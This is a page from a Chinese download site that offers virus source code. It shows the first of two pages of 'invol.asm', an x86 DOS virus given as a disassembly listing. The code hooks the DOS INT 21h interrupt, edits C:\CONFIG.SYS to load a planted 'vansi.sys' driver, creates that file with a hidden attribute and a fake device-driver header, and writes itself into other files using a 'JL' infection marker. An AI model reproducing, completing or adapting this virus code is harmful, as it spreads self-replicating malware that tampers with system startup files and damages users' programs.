⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 invol.asm

📁 一些病毒源代码
💻 ASM
📖 第 1 页 / 共 2 页
字号:
0b59:02ee      fa                  cli
0b59:02ef      a3 84 00            mov            [0084],ax
0b59:02f2      8c 06 86 00         mov            [0086],es
0b59:02f6      fb                  sti

0b59:02f7      8c c8               mov            ax,cs
0b59:02f9      8e d8               mov            ds,ax
0b59:02fb      8e c0               mov            es,ax
0b59:02fd      b8 00 3d            mov            ax,3d00
0b59:0300      ba 94 04            mov            dx,0494
0b59:0303      cd 21               int            21
0b59:0305      72 79               jb             0380
0b59:0307      8b d8               mov            bx,ax
0b59:0309      ba f0 06            mov            dx,06f0
0b59:030c      b9 00 04            mov            cx,0400
0b59:030f      b4 3f               mov            ah,3f
0b59:0311      cd 21               int            21
0b59:0313      72 6e               jb             0383
0b59:0315      8b c8               mov            cx,ax
0b59:0317      a3 78 05            mov            [0578],ax
0b59:031a      be f0 06            mov            si,06f0


0b59:031d      ac                  lodsb
0b59:031e      3c 44               cmp            al,44       ; 'D'
0b59:0320      74 06               jz             0328
0b59:0322      3c 64               cmp            al,64       ; 'd'
0b59:0324      e0 f7               loopnz         031d

0b59:0326      e3 5e               jcxz           0386

0b59:0328      bf a2 04            mov            di,04a2

0b59:032b      ac                  lodsb
0b59:032c      3c 61               cmp            al,61       ; 'a'
0b59:032e      72 02               jb             0332
0b59:0330      2c 20               sub            al,20
0b59:0332      ae                  scasb
0b59:0333      e1 f6               loopz          032b
0b59:0335      e3 4f               jcxz           0386

0b59:0337      81 ff a8 04         cmp            di,04a8
0b59:033b      e0 e0               loopnz         031d
0b59:033d      8b fe               mov            di,si
0b59:033f      4f                  dec            di
0b59:0340      b0 3d               mov            al,3d
0b59:0342      f2                  repnz
0b59:0343      ae                  scasb
0b59:0344      b0 41               mov            al,41
0b59:0346      ae                  scasb
0b59:0347      77 fd               ja             0346
0b59:0349      8b f7               mov            si,di
0b59:034b      b0 20               mov            al,20
0b59:034d      ae                  scasb
0b59:034e      72 fd               jb             034d
0b59:0350      c6 45 ff 00         mov       byte [-01+di],00
0b59:0354      8b fe               mov            di,si
0b59:0356      83 ef 04            sub            di,04
0b59:0359      80 3c 3a            cmp       byte [si],3a   ; ':'
0b59:035c      74 04               jz             0362
0b59:035e      4e                  dec            si
0b59:035f      eb 05               jmp            0366
0b59:0361      90                  nop

0b59:0362      83 c7 02            add            di,02
0b59:0365      46                  inc            si
0b59:0366      80 3c 5c            cmp       byte [si],5c  ; '\'
0b59:0369      75 01               jnz            036c
0b59:036b      47                  inc            di

0b59:036c      8b d7               mov            dx,di
0b59:036e      be a8 04            mov            si,04a8
0b59:0371      b9 03 00            mov            cx,0003
0b59:0374      f3                  repz
0b59:0375      a4                  movsb
0b59:0376      b8 02 3d            mov            ax,3d02
0b59:0379      cd 21               int            21
0b59:037b      72 09               jb             0386
0b59:037d      e9 92 00            jmp            0412
0b59:0380      e9 07 01            jmp            048a
0b59:0383      e9 00 01            jmp            0486

0b59:0386      b4 3e               mov            ah,3e
0b59:0388      cd 21               int            21
0b59:038a      72 f4               jb             0380
0b59:038c      b8 02 3d            mov            ax,3d02
0b59:038f      cd 21               int            21
0b59:0391      72 ed               jb             0380
0b59:0393      8b d8               mov            bx,ax
0b59:0395      b4 3f               mov            ah,3f
0b59:0397      b9 ff ff            mov            cx,ffff
0b59:039a      ba 02 07            mov            dx,0702
0b59:039d      cd 21               int            21
0b59:039f      72 e2               jb             0383
0b59:03a1      bf f0 06            mov            di,06f0
0b59:03a4      be b5 04            mov            si,04b5
0b59:03a7      b9 12 00            mov            cx,0012
0b59:03aa      f3                  repz
0b59:03ab      a4                  movsb
0b59:03ac      b8 00 42            mov            ax,4200
0b59:03af      b9 00 00            mov            cx,0000
0b59:03b2      ba 00 00            mov            dx,0000
0b59:03b5      cd 21               int            21
0b59:03b7      72 ca               jb             0383
0b59:03b9      8b 0e 78 05         mov            cx,[0578]
0b59:03bd      83 c1 12            add            cx,12
0b59:03c0      90                  nop
0b59:03c1      ba f0 06            mov            dx,06f0
0b59:03c4      b4 40               mov            ah,40
0b59:03c6      cd 21               int            21
0b59:03c8      72 b9               jb             0383
0b59:03ca      b4 3e               mov            ah,3e
0b59:03cc      cd 21               int            21
0b59:03ce      72 b0               jb             0380
0b59:03d0      b8 13 80            mov            ax,8013
0b59:03d3      a3 52 05            mov            [0552],ax
0b59:03d6      b8 14 00            mov            ax,0014
0b59:03d9      a3 ff 04            mov            [04ff],ax
0b59:03dc      b8 23 00            mov            ax,0023
0b59:03df      a3 04 05            mov            [0504],ax
0b59:03e2      b9 04 00            mov            cx,0004
0b59:03e5      be c8 04            mov            si,04c8
0b59:03e8      bf 58 05            mov            di,0558
0b59:03eb      f3                  repz
0b59:03ec      a5                  movs
0b59:03ed      be d0 04            mov            si,04d0
0b59:03f0      bf 04 07            mov            di,0704
0b59:03f3      b9 21 00            mov            cx,0021
0b59:03f6      f3                  repz
0b59:03f7      a5                  movs
0b59:03f8      b4 3c               mov            ah,3c
0b59:03fa      b9 02 00            mov            cx,0002
0b59:03fd      ba a8 04            mov            dx,04a8
0b59:0400      cd 21               int            21
0b59:0402      73 03               jae            0407
0b59:0404      e9 83 00            jmp            048a
0b59:0407      8b d8               mov            bx,ax
0b59:0409      c7 06 62 05 42   
               00                  mov       word [0562],0042
0b59:040f      eb 4c               jmp            045d
0b59:0411      90                  nop
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0b59:0412      8b c8               mov            cx,ax
0b59:0414      b4 3e               mov            ah,3e
0b59:0416      cd 21               int            21
0b59:0418      8b d9               mov            bx,cx
0b59:041a      72 6a               jb             0486
0b59:041c      ba f0 06            mov            dx,06f0
0b59:041f      b9 ff ff            mov            cx,ffff
0b59:0422      b4 3f               mov            ah,3f
0b59:0424      cd 21               int            21
0b59:0426      72 5e               jb             0486
0b59:0428      a3 62 05            mov            [0562],ax
0b59:042b      a1 02 07            mov            ax,[0702]
0b59:042e      3d 4a 4c            cmp            ax,4c4a
0b59:0431      74 53               jz             0486
0b59:0433      a1 f6 06            mov            ax,[06f6]
0b59:0436      a3 ff 04            mov            [04ff],ax
0b59:0439      a1 f8 06            mov            ax,[06f8]
0b59:043c      a3 04 05            mov            [0504],ax
0b59:043f      a1 f4 06            mov            ax,[06f4]
0b59:0442      a3 52 05            mov            [0552],ax
0b59:0445      b9 04 00            mov            cx,0004
0b59:0448      be fa 06            mov            si,06fa
0b59:044b      bf 58 05            mov            di,0558
0b59:044e      f3                  repz
0b59:044f      a5                  movs
0b59:0450      b9 00 00            mov            cx,0000
0b59:0453      ba 00 00            mov            dx,0000
0b59:0456      b8 00 42            mov            ax,4200
0b59:0459      cd 21               int            21
0b59:045b      72 29               jb             0486
0b59:045d      c7 06 60 05 4a 4c   mov       word [0560],4c4a
0b59:0463      b9 14 00            mov            cx,0014
0b59:0466      ba 4e 05            mov            dx,054e
0b59:0469      b4 40               mov            ah,40
0b59:046b      cd 21               int            21
0b59:046d      72 17               jb             0486
0b59:046f      ba 00 00            mov            dx,0000
0b59:0472      b9 fc 0a            mov            cx,0afc
0b59:0475      b4 40               mov            ah,40
0b59:0477      cd 21               int            21
0b59:0479      72 0b               jb             0486
0b59:047b      8b 0e 62 05         mov            cx,[0562]
0b59:047f      ba f0 06            mov            dx,06f0
0b59:0482      b4 40               mov            ah,40
0b59:0484      cd 21               int            21
0b59:0486      b4 3e               mov            ah,3e
0b59:0488      cd 21               int            21

0b59:048a      8e c5               mov            es,bp
0b59:048c      bf 80 00            mov            di,0080
0b59:048f      be 66 05            mov            si,0566
0b59:0492      b9 40 00            mov            cx,0040
0b59:0495      f3                  repz
0b59:0496      a5                  movs
0b59:0497      8e dd               mov            ds,bp
0b59:0499      fa                  cli
0b59:049a      b8 a0 0d            mov            ax,0da0
0b59:049d      8e d0               mov            ss,ax
0b59:049f      bc 10 bf            mov            sp,bf10
0b59:04a2      fb                  sti
0b59:04a3      ea 00 00 00 00      jmp            0000:0000

0b59:04a8      63 3a 5c 63 6f 6e 66 69 |c:\confi|
0b59:04b0      67 2e 73 79 73 00 45 56 |g.sys.EV|
0b59:04b8      49 43 45 00 43 3a 5c 76 |ICE.C:\v|
0b59:04c0      61 6e 73 69 2e 73 79 73 |ansi.sys|
0b59:04c8      00 64 65 76 69 63 65 3d |.device=|
0b59:04d0      76 61 6e 73 69 2e 73 79 |vansi.sy|
0b59:04d8      73 0d 0a 90 76 61 6e 73 |s...vans|
0b59:04e0      69 20 20 20 |i   |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
STRAT:

0b59:04e4      2e 89 1e 1f 00      mov            cs:[001f],bx
0b59:04e9      2e 8c 06 21 00      mov            cs:[0021],es
0b59:04ee      cb                  retf

0b59:04ef      00 00               add            [bx+si],al
0b59:04f1      00 00               add            [bx+si],al

0b59:04f3      53                  push           bx
0b59:04f4      06                  push           es
0b59:04f5      2e 8b 1e 1f 00      mov            bx,cs:[001f]
0b59:04fa      2e 8e 06 21 00      mov            es,cs:[0021]
0b59:04ff      26 c7 47 03 00 00   mov       word es:[03+bx],0000
0b59:0505      26 c7 47 0e 42 00   mov       word es:[0e+bx],0042
0b59:050b      26 8c 4f 10         mov            es:[10+bx],cs
0b59:050f      07                  pop            es
0b59:0510      5b                  pop            bx
0b59:0511      cb                  retf

0b59:0512      ea c1 00 0a 0c      jmp            0c0a:00c1
0b59:0517      ea cc 00 0a 0c      jmp            0c0a:00cc

0b59:051c      50                  push           ax
0b59:051d      8c c8               mov            ax,cs
0b59:051f      05 b1 00            add            ax,00b1
0b59:0522      2e a3 15 05         mov            cs:[0515],ax
0b59:0526      2e a3 1a 05         mov            cs:[051a],ax
0b59:052a      b8 12 05            mov            ax,0512
0b59:052d      2e a3 06 00         mov            cs:[0006],ax
0b59:0531      58                  pop            ax
0b59:0532      eb de               jmp            0512

0b59:0534      50                  push           ax
0b59:0535      53                  push           bx
0b59:0536      1e                  push           ds
0b59:0537      fa                  cli
0b59:0538      b8 00 00            mov            ax,0000
0b59:053b      8e d8               mov            ds,ax
0b59:053d      bb 84 00            mov            bx,0084
0b59:0540      8b 07               mov            ax,[bx]
0b59:0542      2e a3 98 02         mov            cs:[0298],ax
0b59:0546      8b 47 02            mov            ax,[02+bx]
0b59:0549      2e a3 9a 02         mov            cs:[029a],ax
0b59:054d      b8 14 00            mov            ax,0014
0b59:0550      89 07               mov            [bx],ax
0b59:0552      8c 4f 02            mov            [02+bx],cs
0b59:0555      b8 17 05            mov            ax,0517
0b59:0558      2e a3 08 00         mov            cs:[0008],ax
0b59:055c      fb                  sti
0b59:055d      1f                  pop            ds
0b59:055e      5b                  pop            bx
0b59:055f      58                  pop            ax
0b59:0560      eb b5               jmp            0517

DEV_HDR:

0b59:0562      ff                  ????
0b59:0563      ff                  ????
0b59:0564      ff                  ????
0b59:0565      ff 
               53 c0
0b59:0568      1c 05          
0b59:056a      34 05
0b59:056c      01 00
0b59:056e      7c 2d
0b59:0570      4d
0b59:0571      5a

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -